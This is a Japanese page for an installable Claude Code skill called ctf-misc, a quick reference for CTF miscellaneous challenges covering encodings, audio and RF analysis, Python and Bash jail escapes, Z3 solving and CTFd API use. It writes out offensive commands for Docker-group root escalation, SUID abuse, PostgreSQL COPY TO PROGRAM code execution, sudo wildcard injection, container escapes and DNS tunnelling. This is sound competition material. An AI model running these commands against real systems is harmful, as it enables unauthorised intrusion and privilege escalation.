ctf-misc について
ctf-miscは、jail、エンコーディング、信号解析、特殊な仮想マシンやゲームを扱うCTF解答者向けのリファレンススキルです。要点を押さえた手法と、詳細ガイドや必要なツールをまとめています。
主な機能
- 01PythonとBashのjail脱出手法
- 02エンコーディングとQRコードの技法
- 03音声およびRF/SDR信号の解析
- 04ゲーム、VM、サンドボックスの手法
- 05Z3による制約充足の例
- 06CTFd APIナビゲーション資料
活用シーン
- 01制限付きPythonまたはBash環境の解析
- 02音声、信号、QRコードに隠れたデータの解読
- 03制約やゲーム状態の分析によるパズル解決
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ ljagiello/ ctf-skills --skill ctf-miscインストール後、Claude Code で/ctf-miscを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
audio.mdbashjails.mdctfd-navigation.mddns.mdencodings-advanced.mdencodings.mdgames-and-vms-2.mdgames-and-vms-3.mdgames-and-vms-4.mdgames-and-vms.mdlinux-privesc.mdpyjails.mdrf-sdr.md詳細
CTF Miscellaneous
CTFのMiscellaneousチャレンジ向けクイックリファレンスです。各テクニックをここでは一行で紹介しています。詳しくは補足ファイルを参照してください。
前提条件
Python パッケージ(全プラットフォーム):
pip install "pwntools==4.15.0" "segno==1.6.6" z3-solver Pillow numpy requests dnslib
Linux(apt):
apt install libzbar0 qrencode ffmpeg
macOS(Homebrew):
brew install ffmpeg qrencode
手動インストール:
- SageMath — Linux:
apt install sagemath、macOS:brew install --cask sage
追加リソース
- pyjails.md - Python jail/サンドボックスからの脱出テクニック、クワインのコンテキスト検出、文字制限下でのレピュニット分解、func_globals モジュールチェーンのトラバーサル、文字セット制限下での数値生成、クラス属性の永続化、保存済み eval を介した f-string 設定インジェクション
- bashjails.md - Bash jail/制限付きシェルからの脱出テクニック、HISTFILE を使ったファイル読み取りの小技、bash -v の詳細モード、ctypes.sh による C ライブラリの直接呼び出し
- encodings.md - エンコーディング、QR コード、難解プログラミング言語、UTF-16 の小技、BCD エンコーディング、多層自動デコード、インデックス付きディレクトリからの QR コード再構成、多段階 URL エンコーディングチェーン
- encodings-advanced.md - Verilog/HDL、グレイコードの巡回エンコーディング、RTF カスタムタグの抽出、SMS PDU のデコード、複数エンコーディングの逐次ソルバー、UTF-9、ピクセルのバイナリエンコーディング、16進数数独+QR コードの組み立て、TOPKEK、MaxiCode
- audio.md - 音声ステガノグラフィと信号解析:自動検出による音声チャンネルからのモールス信号抽出、スペクトログラム解析、SSTV デコード、振幅エンベロープのタイミング分類
- rf-sdr.md - RF/SDR/IQ 信号処理(QAM-16、キャリアリカバリー、タイミング同期)
- dns.md - DNS の悪用(ECS スプーフィング、NSEC ウォーキング、IXFR、リバインディング、トンネリング)
- games-and-vms.md - WASM のパッチ適用、Roblox の place ファイルのリバース、PyInstaller、marshal 解析、Python 環境の RCE、Z3(ブール論理ゲートネットワークの SAT ソルバーを含む)、K8s RBAC、浮動小数点精度の悪用、Python MRO チェーンを介したカスタムアセンブリ言語サンドボックスからの脱出
- games-and-vms-2.md - Cookie チェックポイントゲームの総当たり、Flask Cookie ゲーム状態の漏えい、WebSocket ゲームの操作、サーバー時刻のみの検証を回避、De Bruijn 列、Brainfuck のインストルメンテーション、WASM 線形メモリの操作
- games-and-vms-3.md - memfd_create によるパック済みバイナリ、HMAC のコミットメント・リビールと GF(256) Nim を使った多段階暗号ゲーム、エミュレーターの ROM 切り替え時の状態保持、Python marshal コードインジェクション、ベンフォードの法則による回避、並列接続によるオラクルリレー、ノノグラムソルバーのパイプライン、100 人の囚人問題、絵文字識別子を使った C コード jail からの脱出、BuildKit デーモンのビルドシークレットの悪用、Docker コンテナーからの脱出、レーベンシュタイン距離オラクル攻撃、型強制による汚染解析の回避、細断された文書のピクセルエッジ再構成
- games-and-vms-4.md - 第4部(2018年頃):チューリング完全な VM としての XSLT、JavaScript の MAX_SAFE_INTEGER の後続値との等値比較、比較のみの DSL における二分探索オラクル、スクリプトエンジンのタイムアウトエラーを介したブラインド SQLi、OEIS 数列検索の自動化、書式文字列の制約からの QR コード再構成、フィボナッチ漸化式の行列累乗、カエルのジャンプ数カウントへのトリボナッチ数列の利用、Selenium+Tesseract による動的 CAPTCHA、Brainfuck→Piet の多層ポリグロット、bytebeat のシンセコード認識
- linux-privesc.md - Sudo ワイルドカード引数インジェクション(fnmatch)、sudoers.d 用に細工した pcap、monit confcheck のプロセスインジェクション、Apache -d の上書き、バックアップ cronjob の SUID、PostgreSQL COPY TO PROGRAM による RCE、PostgreSQL バックアップ認証情報の抽出、NFS 共有の悪用、SSH Unix ソケットのトンネリング、PaperCut Print Deploy による権限昇格、Squid プロキシ経由のピボット、MySQL を介した Zabbix 管理者パスワードのリセット、WinSSHTerm の認証情報の復号
- ctfd-navigation.md - ブラウザーを使わない CTFd プラットフォーム API の操作:検出、トークン認証、チャレンジ一覧、ファイルのダウンロード、フラグの送信、スコアボード、ヒント、通知、Python クライアントクラス
方針を切り替えるタイミング
- パズルの中心が暗号や数論である場合は、
/ctf-cryptoに切り替えてください。 - チャレンジがサンドボックス、簡易 VM、エンコーディングの問題ではなく、実際のバイナリのエクスプロイトである場合は、
/ctf-pwnまたは/ctf-reverseに切り替えてください。 - 入力の大半がファイル、画像、音声、パケットキャプチャで、まず復元作業が必要な場合は、
/ctf-forensicsに切り替えてください。 - ML/AI の手法(モデル攻撃、敵対的サンプル、LLM のジェイルブレイク)については、
/ctf-ai-mlを参照してください。 - NodeJS サンドボックスで vm2 が使われている場合(
npm ls vm2)、nesting:trueを指定したPromise[@@species]による CVE-2023-37466 の有無を確認してください。例外ハンドラーがコンテキストから脱出します。完全なエクスプロイトチェーンについては、ctf-web/js-sandboxを参照してください。JS が同梱された Misc チャレンジでは、他の脱出方法を試す前に、必ずnpm ls vm2を実行して脆弱な vm2 が使われていないか確認してください。
クイックスタートコマンド
# File identification
file mystery_file
xxd mystery_file | head -5
python3 -c "import magic; print(magic.from_file('mystery_file'))"
# Encoding detection
python3 -c "import base64; print(base64.b64decode('<data>'))"
echo '<data>' | base64 -d
echo '<hex>' | xxd -r -p
# QR code
zbarimg qr.png
python3 -c "from pyzbar.pyzbar import decode; from PIL import Image; print(decode(Image.open('qr.png')))"
# Z3 constraint solving
python3 -c "from z3 import *; x=BitVec('x',32); s=Solver(); s.add(x^0xdead==0xbeef); s.check(); print(s.model())"
# Python jail test
python3 -c "__import__('os').system('id')"
一般的なヒント
- 提供されたファイルをすべて注意深く読みます
- ファイルのメタデータ、隠しコンテンツ、エンコーディングを確認します
- Power Automate のスクリプトには API 呼び出しが隠されていることがあります
- 複数の答えを推測する場合は二分探索を使います
一般的なエンコーディング
# Base64
echo "encoded" | base64 -d
# Base32 (A-Z2-7=)
echo "OBUWG32D..." | base32 -d
# Hex
echo "68656c6c6f" | xxd -r -p
# ROT13
echo "uryyb" | tr 'a-zA-Z' 'n-za-mN-ZA-M'
文字セットで識別する方法:
- Base64:
A-Za-z0-9+/= - Base32:
A-Z2-7=(小文字なし) - Hex:
0-9a-fA-F
シーザー暗号の総当たり、URL エンコーディング、詳細については、encodings.md を参照してください。
IEEE-754 浮動小数点エンコーディング(データ隠蔽)
パターン(浮動小数点): 数値は、未加工のバイト列を隠した float32 値です。
重要なポイント: 32 ビット浮動小数点数は、数値として解釈された 4 バイトにすぎません。未加工のバイト列として再解釈すると、ASCII になります。
import struct
floats = [1.234e5, -3.456e-7, ...] # Whatever the challenge gives
flag = b''
for f in floats:
flag += struct.pack('>f', f)
print(flag.decode())
バリエーション: Double の '>d'、リトルエンディアンの '<f'、混在形式。CyberChef のレシピについては、encodings.md を参照してください。
USB マウス PCAP の再構成
パターン(試行錯誤): USB HID マウスのトラフィックキャプチャには、画面上のキーボードでの入力が記録されています。USB-Mouse-Pcap-Visualizer を使い、クリック座標(立ち下がりエッジ)を抽出し、相対デルタ値の累積和を計算して絶対位置を求め、OSK 画像に重ねます。
ファイル形式の検出
file unknown_file
xxd unknown_file | head
binwalk unknown_file
アーカイブの展開
7z x archive.7z # Universal
tar -xzf archive.tar.gz # Gzip
tar -xjf archive.tar.bz2 # Bzip2
tar -xJf archive.tar.xz # XZ
入れ子になったアーカイブ用スクリプト
while f=$(ls *.tar* *.gz *.bz2 *.xz *.zip *.7z 2>/dev/null|head -1) && [ -n "$f" ]; do
7z x -y "$f" && rm "$f"
done
QR コード
zbarimg qrcode.png # Decode
qrencode -o out.png "data"
MaxiCode バーコード: 中央にブルズアイがある六角形の 2D バーコードです。標準的な QR デコーダーでは失敗するため、zxing(Java)でデコードします。encodings-advanced.md を参照してください。
TOPKEK エンコーディング: CTF 固有のバイナリエンコーディングで、KEK=0、TOP=1、! の接尾辞は繰り返し回数を表します。encodings-advanced.md を参照してください。
QR の構造、修復手法、チャンクの再構成(構造ベースおよびインデックス付きディレクトリ形式)、複数段階の URL エンコーディングチェーンについては、encodings.md を参照してください。
音声チャレンジ
# Spectrogram (hidden text/images in frequency domain)
sox audio.wav -n spectrogram -o spec.png
sox audio.wav -n spectrogram -o spec.png -x 2048 -y 1025 # higher resolution
# Channel inspection (identify stereo vs mono, sample rate, bit depth)
python3 -c "import wave; w=wave.open('audio.wav'); print(f'channels={w.getnchannels()}, rate={w.getframerate()}, width={w.getsampwidth()}')"
# SSTV (Slow Scan TV decoder)
qsstv # GUI - play audio + use pulseaudio loopback
モールス信号の抽出: WAV ファイルの一方の音声チャンネルに、モールス信号のビープ音が隠されています。インターリーブされたステレオチャンネルを分離し(L=偶数インデックス、R=奇数インデックス)、ピーク対平均エンベロープ比(大音量と無音が交互に現れるため、ビープ音のチャンネルでは比率が高くなります)でモールス信号のチャンネルを自動検出します。RMS エンベロープ(50ms のウィンドウ)を計算し、しきい値を使ってビープ音を分割し、長さで分類します。短点は約 100~150ms、長点は約 250~350ms です。その後、間隔の長さ(短い間隔は文字内、長い間隔は文字間)を使ってモールス信号の文字をグループ化します。自動検出と抽出を行う完全なスクリプトについては、audio.md を参照してください。
DTMF(電話のキーパッド音): 二重多重周波数信号をデコードして数字に変換し、その後、マルチタップ式キーパッドで文字に対応付けます。encodings-advanced.md を参照してください。
音符のステガノグラフィ: 音符のペアを、音階上の度数への対応付けによってニブルにエンコードします。encodings-advanced.md を参照してください。
音声分析の全手法については、audio.md を参照してください。
RF / SDR / IQ 信号処理
詳しくは rf-sdr.md を参照してください(IQ 形式、QAM-16 復調、搬送波/タイミング同期)。
クイックリファレンス:
- cf32:
np.fromfile(path, dtype=np.complex64)| cs16:int16 を reshape(-1,2) | cu8:RTL-SDR 生データ - コンスタレーション上の円は一定の周波数オフセットを示します。らせんは、周波数のドリフトとゲインの不安定性を示します。
- 判定指向型の搬送波同期では 4 通りの曖昧さが生じます。0/90/180/270 度の回転を試してください。
pwntools の操作
from pwn import *
r = remote('host', port)
r.recvuntil(b'prompt: ')
r.sendline(b'answer')
r.interactive()
Python Jail クイックリファレンス
- オラクルパターン:
L()= 長さ、Q(i,x)= 比較、S(guess)= 送信。線形探索または二分探索を行います。 - Walrus 回避:
(abcdef := "new_chars")で制約変数を再代入します。 - デコレーター回避:
@__import__+@func.__class__.__dict__[__name__.__name__].__get__により、関数呼び出しも引用符も使わずにエスケープします。 - 文字列の結合:
+がブロックされている場合は、open(''.join(['fl','ag.txt'])).read()を使います。
手法の詳細は pyjails.md を参照してください。
Z3/制約ソルビング
from z3 import *
flag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]
s = Solver()
# Add constraints, check sat, extract model
YARA ルール、制約としての型システム、ブール論理ゲートネットワークの SAT ソルビングについては、games-and-vms.md を参照してください。
ハッシュの識別
MD5:0x67452301 | SHA-256:0x6a09e667 | MurmurHash64A:0xC6A4A7935BD1E995
SHA-256 の長さ拡張攻撃
既知の msg/hash がある場合、hlextend を使って MAC = SHA-256(SECRET || msg) の有効な MAC を偽造できます。脆弱な方式:SHA-256、MD5、SHA-1。脆弱ではない方式:HMAC、SHA-3。
import hlextend
sha = hlextend.new('sha256')
new_data = sha.extend(b'extension', b'original_message', len_secret, known_hash_hex)
手法のクイックリファレンス
- PyInstaller:
pyinstxtractor.py packed.exe。オペコードの再マッピングについては、games-and-vms.md を参照してください。 - Marshal:
marshal.load(f)の後にdis.dis(code)を実行します。games-and-vms.md を参照してください。 - Python 環境での RCE:
PYTHONWARNINGS=ignore::antigravity.Foo::0とBROWSER="cmd"を組み合わせます。games-and-vms.md を参照してください。 - WASM のパッチ適用:
wasm2wat-> minimax を反転 ->wat2wasm。games-and-vms.md を参照してください。 - 浮動小数点の精度: 大きな乗数によって FP 誤差を悪用可能な小数へと増幅します。games-and-vms.md を参照してください。
- K8s RBAC のバイパス: SA トークン -> なりすまし -> hostPath マウント -> シークレットの読み取り。games-and-vms.md を参照してください。
- クッキーを使ったチェックポイント: 推測を始める前にセッションクッキーを保存し、失敗したら復元することで、リセットせずに総当たりできます。games-and-vms-2.md を参照してください。
- Flask のクッキーにあるゲーム状態:
flask-unsign -d -c '<cookie>'で署名されていない Flask セッションをデコードすると、ゲームの答えが漏洩します。games-and-vms-2.md を参照してください。 - WebSocket によるテレポート: コンソールで
player.x/player.yを変更し、検証関数を呼び出します。games-and-vms-2.md を参照してください。 - 時間だけによる検証: セッションを開始し、
time.sleep(required_seconds)を実行してから、勝利を送信します。games-and-vms-2.md を参照してください。 - Quine によるコンテキスト検出: 自分自身を出力して(検証を通過し)、globals ゲートを介してサーバープロセスでのみペイロードを実行する、二つの用途を持つ Quine です。pyjails.md を参照してください。
- Repunit 分解: 制限付き eval で使える文字が
1と+の 2 文字だけの場合、対象の整数を repunit(1、11、111、...)の和に分解します。pyjails.md を参照してください。 - De Bruijn 列: B(k, n) には、長さ n の k^n 通りの文字列がすべて部分文字列として含まれます。先頭の n-1 文字を末尾に追加すると線形化できます。games-and-vms-2.md を参照してください。
- Brainfuck の計測: BF インタープリターに計測処理を追加してテープのセルを追跡し、検証セルを使ってフラグを1文字ずつ総当たりします。games-and-vms-2.md を参照してください。
- WASM メモリの操作: 実行時に WASM の線形メモリへパッチを適用し、ゲーム状態の変数を直接設定してゲームロジックを回避します。games-and-vms-2.md を参照してください。
- Lua サンドボックスからの脱出:
os["execute"]によるテーブルインデックス指定やloadstringエイリアスを使って、load()/os.execute()のフィルターを回避します。games-and-vms.md を参照してください。 - 絵文字とガジェットの埋め込みによる C コードジャイルからの脱出: C で絵文字と句読点しか使えない場合、
(😃==😃)を定数1として使い、整数を構築し、add eax, imm32の定数にガジェットを埋め込み、オフセット+1へジャンプしてシェルコードのプリミティブを実現します。games-and-vms-3.md を参照してください。 - エミュレーターの ROM 切り替え:
/loadは ROM を置き換えますが、CPU の状態(レジスター、RAM、PC)は保持します。特定の PC で ROM を切り替え、ある ROM の INIT と別の ROM のディスプレイ命令を組み合わせることで、保護されたメモリを読み取れます。games-and-vms-3.md を参照してください。 - BuildKit デーモンの悪用: 公開された BuildKit gRPC を使うと、
--mount=type=secretを指定したネストされたbuildctl buildを実行し、ビルドシークレットを読み取れます。2段階の Dockerfile で、まず buildctl をインストールし、次にフラグのシークレットをマウントするネストされたビルドを送信します。games-and-vms-3.md を参照してください。 - Docker コンテナーからの脱出: ホストデバイスのマウントによる特権エスケープ、docker.sock ソケットを使った脱出、CAP_SYS_ADMIN の cgroup release_agent、/proc と overlayfs を介したコンテナー情報の漏洩などがあります。games-and-vms-3.md を参照してください。
- 型強制による汚染解析のバイパス: 機密性/汚染システムを備えたカスタムの ML 系言語では、if 式の機密性は条件ではなく戻り値の型に依存します。副作用のある関数をプライベート型に強制変換することで、公開された可変参照を介してプライベートデータを漏洩させられます。games-and-vms-3.md を参照してください。
- 破いた文書のピクセル端を使った再構成: 各断片の左右の端をバイナリのビットマスク(暗い画素=1)として表現し、XOR と popcount によるハミング距離を使って、端の距離が最小となる位置に断片を貪欲に配置すると、1秒未満で再構成できます。games-and-vms-3.md を参照してください。
- 保存された eval による f-string 設定インジェクション: ペイロードを設定値として保存し、
eval(stored_key)という名前のキーを作成します。f-string のレンダリング時にキー名の式が評価され、RCE が発生します。pyjails.md を参照してください。 - 16進数の数独と QR コードの組み立て: 4つの QR コードに16x16の16進数数独の各領域がエンコードされています。盤面を解き、対角線を16進数のペアとして読み取ると ASCII のフラグになります。encodings-advanced.md を参照してください。
- Z3 によるブールゲートネットワークの SAT 求解: プロダクトキーの検証は、125個の入力ビットに対する250個のブールゲート(AND/OR/XOR/NOT)として表現できます。各ゲートを Z3 の制約としてモデル化し、すべての出力が True となる条件を指定すると、数ミリ秒で求解できます。games-and-vms.md を参照してください。
3Dプリンターの動画からノズルを追跡する(LACTF 2026)
パターン(flag-irl): 3Dプリンターがネームプレートを製作している動画です。フラグは印刷されたテキストです。
手法: 動画のフレームからノズルのX/Y位置を追跡し、印刷動作(最上部のテキストレイヤーのみ)を抽出して、2Dヒストグラムをプロットすると文字の形が浮かび上がります。
# 1. Identify text layer frames (e.g., frames 26100-28350)
# 2. Track print head X position (physical X-axis)
# 3. Track bed X position (physical Y-axis from camera angle)
# 4. Filter for moves with extrusion (head moving while printing)
# 5. Plot as 2D scatter/histogram -> letters appear
Discord APIの列挙(0xFun 2026)
フラグはDiscordのメタデータ(ロール、アニメーション絵文字、埋め込み)に隠されています。Discord APIの列挙手法とコードを使用するには、/ctf-osintを呼び出してください(ctf-osintのsocial-media.mdを参照)。
SUIDバイナリの悪用(0xFun 2026)
# Find SUID binaries
find / -perm -4000 2>/dev/null
# Cross-reference with GTFObins
# xxd with SUID: xxd flag.txt | xxd -r
# vim with SUID: vim -c ':!cat /flag.txt'
参考: https://gtfobins.github.io/
Linux権限昇格の簡易チェック
# GECOS field passwords
cat /etc/passwd # Check 5th colon-separated field
# ACL permissions
getfacl /path/to/restricted/file
# Sudo permissions
sudo -l
# Docker group membership (instant root)
id | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
Dockerグループを利用した権限昇格(H7CTF 2025)
dockerグループのユーザーは、ホストのファイルシステムをコンテナにマウントし、そこにchrootしてroot権限を取得できます。
# Check group membership
id # Look for "docker" in groups
# Mount host root filesystem and chroot
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
# Now running as root on the host filesystem
cat /root/flag.txt
重要なポイント: Dockerグループへの所属は、root権限を持つことと同等です。docker CLIソケット(/var/run/docker.sock)を使うと、ホストのファイルシステム全体をマウントする特権コンテナを作成できます。
参考: https://gtfobins.github.io/gtfobins/docker/
Sudoのワイルドカード引数インジェクション(Dump HTB)
Sudoのfnmatch()は、引数の境界をまたいで*に一致します。制限されたコマンドに追加のフラグ(-Z root、-r、2つ目の-w)を注入します。有効なsudoersエントリーを埋め込んだpcapを作成します。sudoのパーサーはバイナリのゴミデータから復旧しますが、cronの厳格なパーサーは復旧しません。linux-privesc.mdを参照してください。
Monitのプロセスコマンドラインインジェクション(Zero HTB)
rootのmonitスクリプトはpgrep -lfaを使ってプロセスのコマンドラインを抽出し、変更を加えたコマンドを実行します。perl -e '$0 = "..."'を使い、フラグを注入して偽のプロセスを作成します。Apacheの-dは後から指定した値が優先されるため、ServerRootを上書きできます。-Eでエラー出力を取得します。Include /root/flagによって解析エラーを発生させると、ファイルの内容が表示されます。linux-privesc.mdを参照してください。
PostgreSQLのRCEとファイル読み取り(Slonik HTB)
COPY (SELECT '') TO PROGRAM 'cmd'は、postgresユーザーとしてOSコマンドを実行します。pg_read_file('/path')でファイルを読み取れます。pg_basebackupのアーカイブから認証情報を抽出します(global/1260 = pg_authid)。UnixソケットへのSSHトンネル:ssh -fNL 25432:/var/run/postgresql/.s.PGSQL.5432。linux-privesc.mdを参照してください。
バックアップcronjobを利用したSUIDの悪用(Slonik HTB)
ディレクトリをコピーするrootのcronjobは、SUIDビットを保持しますが、所有者をrootに変更します。ソースディレクトリにSUIDが設定されたbashを配置すると、バックアップによってroot所有のSUIDとしてコピーされます。bash -pで実行します。linux-privesc.mdを参照してください。
PaperCut Print Deployを利用した権限昇格(Bamboo HTB)
rootプロセスがユーザー所有のディレクトリにあるスクリプトを実行します。server-commandを変更し、Mobility Print APIの更新をトリガーします。linux-privesc.mdを参照してください。
CTFdプラットフォームの操作(ブラウザー不要)
CTFdを検出し(curl -s "$CTF_URL/api/v1/" | head -5)、API経由で操作します。ユーザーにAPIトークンを尋ねてください(CTFd Settings > Access Tokens)。トークンはデフォルトでは提供されません。その後、すべてのリクエストにAuthorization: Token $CTF_TOKENヘッダーを使用します。
export CTF_URL="https://ctf.example.com" CTF_TOKEN="ctfd_your_token_here"
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges" | jq -r '.data[] | "\(.id)\t\(.value)pts\t\(.category)\t\(.name)"'
curl -s -X POST -H "Authorization: Token $CTF_TOKEN" -H "Content-Type: application/json" "$CTF_URL/api/v1/challenges/attempt" -d "{\"challenge_id\": $CID, \"submission\": \"flag{...}\"}"
ワークフロー、Pythonクライアントクラス、セッションログイン、ヒント、通知、ファイルのダウンロード、トラブルシューティングの全容については、ctfd-navigation.mdを参照してください。
便利なワンライナー
grep -rn "flag{" .
strings file | grep -i flag
python3 -c "print(int('deadbeef', 16))"
キーボードシフト暗号
パターン(Frenzy): QWERTYキーボード配列上で、文字が左右にずらされています。
識別: dCode Cipher Identifierで「Keyboard Shift Cipher」が提案されます。
復号: dCode Keyboard Shift Cipherを自動モードで使用します。
Pigpen/メーソン暗号
パターン(Working For Peanuts): グリッド上の位置に基づいて文字を表す幾何学記号です。
識別方法: 角張った幾何学記号が使われており、問題文に「Peanuts」コミック(Charlie Brown)や「dusty looking crypto」への言及があります。
解読方法: 記号をPigpenのグリッド上の位置に対応させるか、オンラインのデコーダーを使います。
数値データ列に含まれるASCII
パターン(Cooked Books): CSV/スプレッドシートの数値(48~126)はASCII文字コードです。
import csv
with open('data.csv') as f:
reader = csv.DictReader(f)
flag = ''.join(chr(int(row['Times Borrowed'])) for row in reader)
print(flag)
CyberChef: 区切り文字に改行を指定した「From Decimal」レシピを使います。
ソースコード内のバックドア検出
パターン(Rear Hatch): 隠されたコマンド接頭辞によってsystem()呼び出しが実行されます。
一般的なパターン:
strncmp(input, "exec:", 5)→system(input + 5)を実行- 16進数でエンコードされた比較文字列:
\x65\x78\x65\x63\x3a= 「exec:」 - メンテナンス/管理者用関数内の隠された条件
DNSを悪用する手法
詳細はdns.mdを参照してください(ECSスプーフィング、NSECウォーキング、IXFR、リバインディング、トンネリング)。
クイックリファレンス:
- ECSスプーフィング:
dig @server flag.example.com TXT +subnet=10.13.37.1/24— リートスピークのIPアドレス(1337)を試します - NSECウォーキング:NSECチェーンをたどってDNSSECゾーンを列挙します
- IXFR:AXFRがブロックされている場合は
dig @server domain IXFR=0を使います - DNSリバインディング:TTLの短い交互の名前解決で同一オリジン制限を回避します
- DNSトンネリング:サブドメインへのクエリまたはTXT応答を通じてデータを持ち出します
Unicodeステガノグラフィー
Variation Selectors Supplement(U+E0100-U+E01EF)
パターン(Seen & emoji、Nullcon 2026): 不可視のVariation Selector Supplement文字が、コードポイントのオフセットによってASCIIをエンコードします。
# Extract hidden data from variation selectors after visible character
data = open('README.md', 'r').read().strip()
hidden = data[1:] # Skip visible emoji character
flag = ''.join(chr((ord(c) - 0xE0100) + 16) for c in hidden)
検出方法: 文字は見えませんが、長さは0ではありません。[hex(ord(c)) for c in text]で確認し、0xE0100-0xE01EFまたは0xFE00-0xFE0Fの範囲のコードポイントを探します。
Unicode Tagsブロック(U+E0000-U+E007F)(UTCTF 2026)
パターン(Hidden in Plain Sight): 不可視のUnicode Tag文字が、URL、ファイル名、テキストに埋め込まれています。各タグのコードポイントは、0xE0000を引くことでASCII文字に直接対応します。4バイトのUTF-8シーケンス(%F3%A0%81%...)としてURLエンコードされています。
import urllib.parse
url = "https://example.com/page#Title%20%F3%A0%81%B5%F3%A0%81%B4...Visible%20Text"
decoded = urllib.parse.unquote(urllib.parse.urlparse(url).fragment)
flag = ''.join(
chr(ord(ch) - 0xE0000)
for ch in decoded
if 0xE0000 <= ord(ch) <= 0xE007F
)
print(flag)
重要なポイント: Unicode Tags(U+E0001-U+E007F)はASCIIと1対1で対応しており、0xE0000を引くと元の文字を復元できます。ほとんどのフォントでは、幅ゼロの不可視グリフとして表示されます。Variation Selectors(U+E0100以降)とは異なり、オフセットの計算がより単純で、見た目は普通なのにバイト長が不自然に長いテキストがあるURLフラグメント、問題タイトル、ファイル名などに現れます。
検出方法: テキストまたはURLのバイト長が予想よりも長くなっています。%F3%A0%80または%F3%A0%81で始まるパーセントエンコードされたシーケンスを探します。Pythonでは、any(0xE0000 <= ord(c) <= 0xE007F for c in text)を使います。
UTF-16のエンディアン反転
パターン(endians): テキストが「日本語に変わった」ように見える場合、UTF-16のエンディアンの不一致による文字化けです。
# If encoded as UTF-16-LE but decoded as UTF-16-BE:
fixed = mojibake.encode('utf-16-be').decode('utf-16-le')
識別方法: CJK文字が含まれており、問題文に「translation」または「endian」への言及があります。詳細はencodings.mdを参照してください。
暗号の識別ワークフロー
- ROT13 — 問題文に「ROT」への言及があり、テキストが判読しにくい英語に見える
- Base64 —
A-Za-z0-9+/=が使われており、タイトルに「64」を示唆する言葉がある - Base32 —
A-Z2-7=のみで構成される大文字の文字列 - Atbash — タイトルが示唆する(Abash/Atbash)。空白を保ち、1対1で置換する
- Pigpen — グリッド上の幾何学記号
- キーボードシフト — 隣接するキーを押したようなテキスト
- 換字式暗号 — 頻度分析を適用できる
自動識別: dCode Cipher Identifier
制限付きシェルでファイルを読み取るHISTFILEのトリック(BCTF 2016)
cat/less/headを使わずにファイルを読み取ります:HISTFILE=/flag /bin/bash && history、またはbash -v flag.txt(詳細モードで行を出力)、またはctypes.shのdlcallを使ってCライブラリ関数を直接呼び出します。bashjails.mdを参照してください。
レーベンシュタイン距離オラクル攻撃(SunshineCTF 2016)
オラクルは、推測した文字列と秘密の文字列の編集距離を返します。空文字列を使って長さを特定し、1文字の繰り返しで含まれている文字を特定してから、二分探索で位置を割り出します。クエリ数は O(n log n) です。games-and-vms-3.md を参照してください。
SECCOMP の上位ビットファイルディスクリプターによるバイパス(33C3 CTF 2016)
close(0x8000000000000002) は 64 ビットの SECCOMP チェック(≠ 2)を通過しますが、カーネルによって 32 ビットに切り詰められる(== 2)ため、fd 2 が閉じられます。次の open() は、任意のファイルに対して fd 2 を返します。BPF フィルターとカーネルの間で型の幅が一致していません。games-and-vms-3.md を参照してください。
Python3 による rvim のジェイル脱出(BKP 2017)
rvim は :! をブロックしますが、:python3 import os; os.system("cmd") を使うと任意のコマンドを実行できます。:version で +python3/+lua/+ruby を確認してください。games-and-vms-3.md を参照してください。